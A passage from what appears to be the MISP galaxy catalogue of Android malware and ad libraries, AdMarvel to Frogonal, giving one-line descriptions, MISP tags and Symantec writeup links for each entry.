https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-1033-99

AdMarvel

AdMarvel is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdMarvel"*

Table 79. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-2450-99

AdMob

AdMob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AdMob"*

Table 80. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-3437-99

Adrd

Adrd is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Adrd"*

Table 81. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-021514-4954-99

Aduru

Aduru is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Aduru"*

Table 82. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-2419-99

Adwhirl

Adwhirl is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adwhirl"*

Table 83. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1414-99

Adwlauncher

Adwlauncher is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Adwlauncher"*

Table 84. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082308-1823-99

Adwo

Adwo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Adwo"*

Table 85. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-5806-99

Airad

Airad is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Airad"*

Table 86. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-1704-99

Alienspy

Alienspy is a Trojan horse for Android devices that steals information from the compromised device. It may also download potentially malicious files.

The tag is: *misp-galaxy:android="Alienspy"*

Table 87. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-042714-5942-99

AmazonAds

AmazonAds is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AmazonAds"*

Table 88. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-5002-99

Answerbot

Answerbot is a Trojan horse that opens a back door on Android devices.

The tag is: *misp-galaxy:android="Answerbot"*

Table 89. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-100711-2129-99

Antammi

Antammi is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Antammi"*

Table 90. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032106-5211-99

Apkmore

Apkmore is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Apkmore"*

Table 91. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-4813-99

Aplog

Aplog is a Trojan horse for Android devices that steals information from the device.

The tag is: *misp-galaxy:android="Aplog"*

Table 92. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100911-1023-99

Appenda

Appenda is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Appenda"*

Table 93. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062812-0516-99

Apperhand

Apperhand is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Apperhand"*

Table 94. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5637-99

Appleservice

Appleservice is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: *misp-galaxy:android="Appleservice"*

Table 95. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031011-4321-99

AppLovin

AppLovin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="AppLovin"*

Table 96. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-1739-99

Arspam

Arspam is a Trojan horse for Android devices that sends spam SMS messages to contacts on the compromised device.

The tag is: *misp-galaxy:android="Arspam"*

Table 97. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121915-3251-99

Aurecord

Aurecord is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: *misp-galaxy:android="Aurecord"*

Table 98. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-2310-99

Backapp

Backapp is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Backapp"*

Table 99. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092708-5017-99

Backdexer

Backdexer is a Trojan horse for Android devices that may send premium-rate SMS messages from the compromised device.

The tag is: *misp-galaxy:android="Backdexer"*

Table 100. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121812-2502-99

Backflash

Backflash is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Backflash"*

Table 101. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091714-0427-99

Backscript

Backscript is a Trojan horse for Android devices that downloads files onto the compromised device.

The tag is: *misp-galaxy:android="Backscript"*

Table 102. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090704-3639-99

Badaccents

Badaccents is a Trojan horse for Android devices that may download apps on the compromised device.

The tag is: *misp-galaxy:android="Badaccents"*

Table 103. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-123015-3618-99

Badpush

Badpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Badpush"*

Table 104. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-4133-99

Ballonpop

Ballonpop is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Ballonpop"*

Table 105. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120911-1731-99

Bankosy

Bankosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Bankosy"*

View relationships graph

Bankosy has relationships with:

- similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 106. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072316-5249-99

Bankun

Bankun is a Trojan horse for Android devices that replaces certain banking applications on the compromised device.

The tag is: *misp-galaxy:android="Bankun"*

Table 107. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072318-4143-99

Basebridge

Basebridge is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: *misp-galaxy:android="Basebridge"*

Table 108. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2011-060915-4938-99

Basedao

Basedao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Basedao"*

Table 109. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061715-3303-99

Batterydoctor

Batterydoctor is Trojan that makes exaggerated claims about the device's ability to recharge the battery, as well as steal information.

The tag is: *misp-galaxy:android="Batterydoctor"*

Table 110. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101916-0847-99

Beaglespy

Beaglespy is an Android mobile detection for the Beagle spyware program as well as its associated client application.

The tag is: *misp-galaxy:android="Beaglespy"*

Table 111. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091010-0627-99

Becuro

Becuro is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: *misp-galaxy:android="Becuro"*

Table 112. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2015-051410-3348-99

Beita

Beita is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Beita"*

Table 113. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-110111-1829-99

Bgserv

Bgserv is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: *misp-galaxy:android="Bgserv"*

Table 114. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-031005-2918-99

Biigespy

Biigespy is an Android mobile detection for the Biige spyware program as well as its associated client application.

The tag is: *misp-galaxy:android="Biigespy"*

Table 115. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091012-0526-99

Bmaster

Bmaster is a Trojan horse on the Android platform that opens a back door, downloads files and steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Bmaster"*

Table 116. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-020609-3003-99

Bossefiv

Bossefiv is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android="Bossefiv"*

Table 117. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-061520-4322-99

Boxpush

Boxpush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Boxpush"*

Table 118. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-4613-99

Burstly

Burstly is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Burstly"*

Table 119. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1443-99

Buzzcity

Buzzcity is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Buzzcity"*

Table 120. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1454-99

ByPush

ByPush is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="ByPush"*

Table 121. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4708-99

Cajino

Cajino is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Cajino"*

Table 122. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-040210-3746-99

Casee

Casee is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Casee"*

Table 123. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3501-99

Catchtoken

Catchtoken is a Trojan horse for Android devices that intercepts SMS messages and opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Catchtoken"*

Table 124. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121619-0548-99

Cauly

Cauly is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Cauly"*

Table 125. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3454-99

Cellshark

Cellshark is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.

The tag is: *misp-galaxy:android="Cellshark"*

Table 126. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111611-0914-99

Centero

Centero is a Trojan horse for Android devices that displays advertisements on the compromised device.

The tag is: *misp-galaxy:android="Centero"*

Table 127. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-053006-2502-99

Chuli

Chuli is a Trojan horse for Android devices that opens a back door and may steal information from the compromised device.

The tag is: *misp-galaxy:android="Chuli"*

Table 128. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032617-1604-99

Citmo

Citmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Citmo"*

Table 129. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-5012-99

Claco

Claco is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Claco"*

Table 130. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-020415-5600-99

Clevernet

Clevernet is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Clevernet"*

Table 131. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-5257-99

Cnappbox

Cnappbox is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Cnappbox"*

Table 132. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-1141-99

Cobblerone

Cobblerone is a spyware application for Android devices that can track the phone's location and remotely erase the device.

The tag is: *misp-galaxy:android="Cobblerone"*

Table 133. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111514-3846-99

Coolpaperleak

Coolpaperleak is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Coolpaperleak"*

Table 134. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080211-5757-99

Coolreaper

Coolreaper is a Trojan horse for Android devices that opens a back door on the compromised device. It may also steal information and download potentially malicious files.

The tag is: *misp-galaxy:android="Coolreaper"*

Table 135. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-011220-3211-99

Cosha

Cosha is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: *misp-galaxy:android="Cosha"*

Table 136. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081712-5231-99

Counterclank

Counterclank is a Trojan horse for Android devices that steals information.

The tag is: *misp-galaxy:android="Counterclank"*

Table 137. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-4046-99

Crazymedia

Crazymedia is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Crazymedia"*

Table 138. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-2547-99

Crisis

Crisis is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Crisis"*

View relationships graph

Crisis has relationships with:

- similar: misp-galaxy:malpedia="RCS" with estimative-language:likelihood-probability="likely"

Table 139. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-071409-0636-99

Crusewind

Crusewind is a Trojan horse for Android devices that sends SMS messages to a premium-rate number.

The tag is: *misp-galaxy:android="Crusewind"*

Table 140. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070301-5702-99

Dandro

Dandro is a Trojan horse for Android devices that allows a remote attacker to gain control over the device and steal information from it.

The tag is: *misp-galaxy:android="Dandro"*

Table 141. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012916-2128-99

Daoyoudao

Daoyoudao is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Daoyoudao"*

Table 142. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040214-5018-99

Deathring

Deathring is a Trojan horse for Android devices that may perform malicious activities on the compromised device.

The tag is: *misp-galaxy:android="Deathring"*

Table 143. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121116-4547-99

Deeveemap

Deeveemap is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: *misp-galaxy:android="Deeveemap"*

Table 144. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-060907-5221-99

Dendoroid

Dendoroid is a Trojan horse for Android devices that opens a back door, steals information, and may perform other malicious activities on the compromised device.

The tag is: *misp-galaxy:android="Dendoroid"*

Table 145. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2014-030418-2633-99

Dengaru

Dengaru is a Trojan horse for Android devices that performs click-fraud from the compromised device.

The tag is: *misp-galaxy:android="Dengaru"*

Table 146. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051113-4819-99

Diandong

Diandong is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Diandong"*

Table 147. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-2453-99

Dianjin

Dianjin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dianjin"*

Table 148. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-0313-99

Dogowar

Dogowar is a Trojan horse on the Android platform that sends SMS texts to all contacts on the device. It is a repackaged version of a game application called Dog Wars, which can be downloaded from a third party market and must be manually installed.

The tag is: *misp-galaxy:android="Dogowar"*

Table 149. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-081510-4323-99

Domob

Domob is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Domob"*

Table 150. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-4235-99

Dougalek

Dougalek is a Trojan horse for Android devices that steals information from the compromised device. The threat is typically disguised to display a video.

The tag is: *misp-galaxy:android="Dougalek"*

Table 151. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-041601-3400-99

Dowgin

Dowgin is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dowgin"*

Table 152. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-033108-4723-99

Droidsheep

Droidsheep is a hacktool for Android devices that hijacks social networking accounts on compromised devices.

The tag is: *misp-galaxy:android="Droidsheep"*

Table 153. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031014-3628-99

Dropdialer

Dropdialer is a Trojan horse for Android devices that sends SMS messages to a premium-rate phone number.

The tag is: *misp-galaxy:android="Dropdialer"*

Table 154. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070909-0726-99

Dupvert

Dupvert is a Trojan horse for Android devices that opens a back door and steals information from the compromised device. It may also perform other malicious activities.

The tag is: *misp-galaxy:android="Dupvert"*

Table 155. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072313-1959-99

Dynamicit

Dynamicit is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Dynamicit"*

Table 156. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-1346-99

Ecardgrabber

Ecardgrabber is an application that attempts to read details from NFC enabled credit cards. It attempts to read information from NFC enabled credit cards that are in close proximity.

The tag is: *misp-galaxy:android="Ecardgrabber"*

Table 157. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062215-0939-99

Ecobatry

Ecobatry is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Ecobatry"*

Table 158. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080606-4102-99

Enesoluty

Enesoluty is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: *misp-galaxy:android="Enesoluty"*

Table 159. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090607-0807-99

Everbadge

Everbadge is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Everbadge"*

Table 160. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-3736-99

Ewalls

Ewalls is a Trojan horse for the Android operating system that steals information from the mobile device.

The tag is: *misp-galaxy:android="Ewalls"*

Table 161. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2010-073014-0854-99

Exprespam

Exprespam is a Trojan horse for Android devices that displays a fake message and steals personal information stored on the compromised device.

The tag is: *misp-galaxy:android="Exprespam"*

Table 162. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-010705-2324-99

Fakealbums

Fakealbums is a Trojan horse for Android devices that monitors and forwards received messages from the compromised device.

The tag is: *misp-galaxy:android="Fakealbums"*

Table 163. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071819-0636-99

Fakeangry

Fakeangry is a Trojan horse on the Android platform that opens a back door, downloads files, and steals potentially confidential information from the compromised device.

The tag is: *misp-galaxy:android="Fakeangry"*

Table 164. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022823-4233-99

Fakeapp

Fakeapp is a Trojan horse for Android devices that downloads configuration files to display advertisements and collects information from the compromised device.

The tag is: *misp-galaxy:android="Fakeapp"*

Table 165. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022805-4318-99

Fakebanco

Fakebanco is a Trojan horse for Android devices that redirects users to a phishing page in order to steal their information.

The tag is: *misp-galaxy:android="Fakebanco"*

Table 166. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-112109-5329-99

Fakebank

Fakebank is a Trojan horse that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakebank"*

Table 167. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071813-2448-99

Fakebank.B

Fakebank.B is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakebank.B"*

Table 168. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-101114-5645-99

Fakebok

Fakebok is a Trojan horse for Android devices that sends SMS messages to premium phone numbers.

The tag is: *misp-galaxy:android="Fakebok"*

Table 169. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-021115-5153-99

Fakedaum

Fakedaum is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakedaum"*

Table 170. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061813-3630-99

Fakedefender

Fakedefender is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: *misp-galaxy:android="Fakedefender"*

Table 171. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-060301-4418-99

Fakedefender.B

Fakedefender.B is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to purchase an app in order to remove non-existent malware or security risks from the device.

The tag is: *misp-galaxy:android="Fakedefender.B"*

Table 172. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091013-3953-99

Fakedown

Fakedown is a Trojan horse for Android devices that downloads more malicious apps onto the compromised device.

The tag is: *misp-galaxy:android="Fakedown"*

Table 173. Table References

Links

https://www.symantec.com/security_response/writeup.jsp?docid=2013-041803-5918-99

Fakeflash

Fakeflash is a Trojan horse for Android devices that installs a fake Flash application in order to direct users to a website.

The tag is: *misp-galaxy:android="Fakeflash"*

Table 174. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-070318-2122-99

Fakegame

Fakegame is a Trojan horse for Android devices that displays advertisements and steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakegame"*

Table 175. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-040808-2922-99

Fakeguard

Fakeguard is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakeguard"*

Table 176. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-102908-3526-99

Fakejob

Fakejob is a Trojan horse for Android devices that redirects users to scam websites.

The tag is: *misp-galaxy:android="Fakejob"*

Table 177. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030721-3048-99

Fakekakao

Fakekakao is a Trojan horse for Android devices sends SMS messages to contacts stored on the compromised device.

The tag is: *misp-galaxy:android="Fakekakao"*

Table 178. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-071617-2031-99

Fakelemon

Fakelemon is a Trojan horse for Android devices that blocks certain SMS messages and may subscribe to services without the user’s consent.

The tag is: *misp-galaxy:android="Fakelemon"*

Table 179. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-120609-3608-99

Fakelicense

Fakelicense is a Trojan horse that displays advertisements on the compromised device.

The tag is: *misp-galaxy:android="Fakelicense"*

Table 180. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062709-1437-99

Fakelogin

Fakelogin is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakelogin"*

Table 181. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-102108-5457-99

FakeLookout

FakeLookout is a Trojan horse for Android devices that opens a back door and steals information on the compromised device.

The tag is: *misp-galaxy:android="FakeLookout"*

Table 182. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-101919-2128-99

FakeMart

FakeMart is a Trojan horse for Android devices that may send SMS messages to premium rate numbers. It may also block incoming messages and steal information from the compromised device.

The tag is: *misp-galaxy:android="FakeMart"*

Table 183. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081217-1428-99

Fakemini

Fakemini is a Trojan horse for Android devices that disguises itself as an installation for the Opera Mini browser and sends premium-rate SMS messages to a predetermined number.

The tag is: *misp-galaxy:android="Fakemini"*

Table 184. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-110410-5958-99

Fakemrat

Fakemrat is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakemrat"*

Table 185. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99

Fakeneflic

Fakeneflic is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Fakeneflic"*

Table 186. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101105-0518-99

Fakenotify

Fakenotify is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers, collects and sends information, and periodically displays Web pages. It also downloads legitimate apps onto the compromised device.

The tag is: *misp-galaxy:android="Fakenotify"*

Table 187. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011302-3052-99

Fakepatch

Fakepatch is a Trojan horse for Android devices that downloads more files on to the device.

The tag is: *misp-galaxy:android="Fakepatch"*

Table 188. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062811-2820-99

Fakeplay

Fakeplay is a Trojan horse for Android devices that steals information from the compromised device and sends it to a predetermined email address.

The tag is: *misp-galaxy:android="Fakeplay"*

Table 189. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-100917-3825-99

Fakescarav

Fakescarav is a Trojan horse for Android devices that displays fake security alerts in an attempt to convince the user to pay in order to remove non-existent malware or security risks from the device.

The tag is: *misp-galaxy:android="Fakescarav"*

Table 190. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012809-1901-99

Fakesecsuit

Fakesecsuit is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fakesecsuit"*

Table 191. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-060514-1301-99

Fakesucon

Fakesucon is a Trojan horse program for Android devices that sends SMS messages to premium-rate phone numbers.

The tag is: *misp-galaxy:android="Fakesucon"*

Table 192. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-120915-2524-99

Faketaobao

Faketaobao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Faketaobao"*

Table 193. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-062518-4057-99

Faketaobao.B

Faketaobao.B is a Trojan horse for Android devices that intercepts and and sends incoming SMS messages to a remote attacker.

The tag is: *misp-galaxy:android="Faketaobao.B"*

Table 194. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-012106-4013-99

Faketoken

Faketoken is a Trojan horse that opens a back door on the compromised device.

The tag is: *misp-galaxy:android="Faketoken"*

Table 195. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032211-2048-99
http://bgr.com/2017/08/18/android-malware-faketoken-steal-credit-card-info/

Fakeupdate

Fakeupdate is a Trojan horse for Android devices that downloads other applications onto the compromised device.

The tag is: *misp-galaxy:android="Fakeupdate"*

Table 196. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-081914-5637-99

Fakevoice

Fakevoice is a Trojan horse for Android devices that dials a premium-rate phone number.

The tag is: *misp-galaxy:android="Fakevoice"*

Table 197. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-040510-3249-99

Farmbaby

Farmbaby is a spyware application for Android devices that logs certain information and sends SMS messages to a predetermined phone number.

The tag is: *misp-galaxy:android="Farmbaby"*

Table 198. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090715-3641-99

Fauxtocopy

Fauxtocopy is a spyware application for Android devices that gathers photos from the device and sends them to a predetermined email address.

The tag is: *misp-galaxy:android="Fauxtocopy"*

Table 199. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111515-3940-99

Feiwo

Feiwo is an advertisement library that is bundled with certain Android applications.

The tag is: *misp-galaxy:android="Feiwo"*

Table 200. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-4038-99

FindAndCall

FindAndCall is a Potentially Unwanted Application for Android devices that may leak information.

The tag is: *misp-galaxy:android="FindAndCall"*

Table 201. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031020-2906-99

Finfish

Finfish is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: *misp-galaxy:android="Finfish"*

Table 202. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-083016-0032-99

Fireleaker

Fireleaker is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fireleaker"*

Table 203. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031814-5207-99

Fitikser

Fitikser is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Fitikser"*

Table 204. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-093015-2830-99

Flexispy

Flexispy is a Spyware application for Android devices that logs the device’s activity and sends it to a predetermined website.

The tag is: *misp-galaxy:android="Flexispy"*

Table 205. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-122006-4805-99

Fokonge

Fokonge is a Trojan horse that steals information from Android devices.

The tag is: *misp-galaxy:android="Fokonge"*

Table 206. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-071802-0727-99

FoncySMS

FoncySMS is a Trojan horse for Android devices that sends SMS messages to premium-rate phone numbers. It may also connect to an IRC server and execute any received shell commands.

The tag is: *misp-galaxy:android="FoncySMS"*

Table 207. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-011502-2651-99

Frogonal

Frogonal is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: *misp-galaxy:android="Frogonal"*

Table 208. Table References

Links
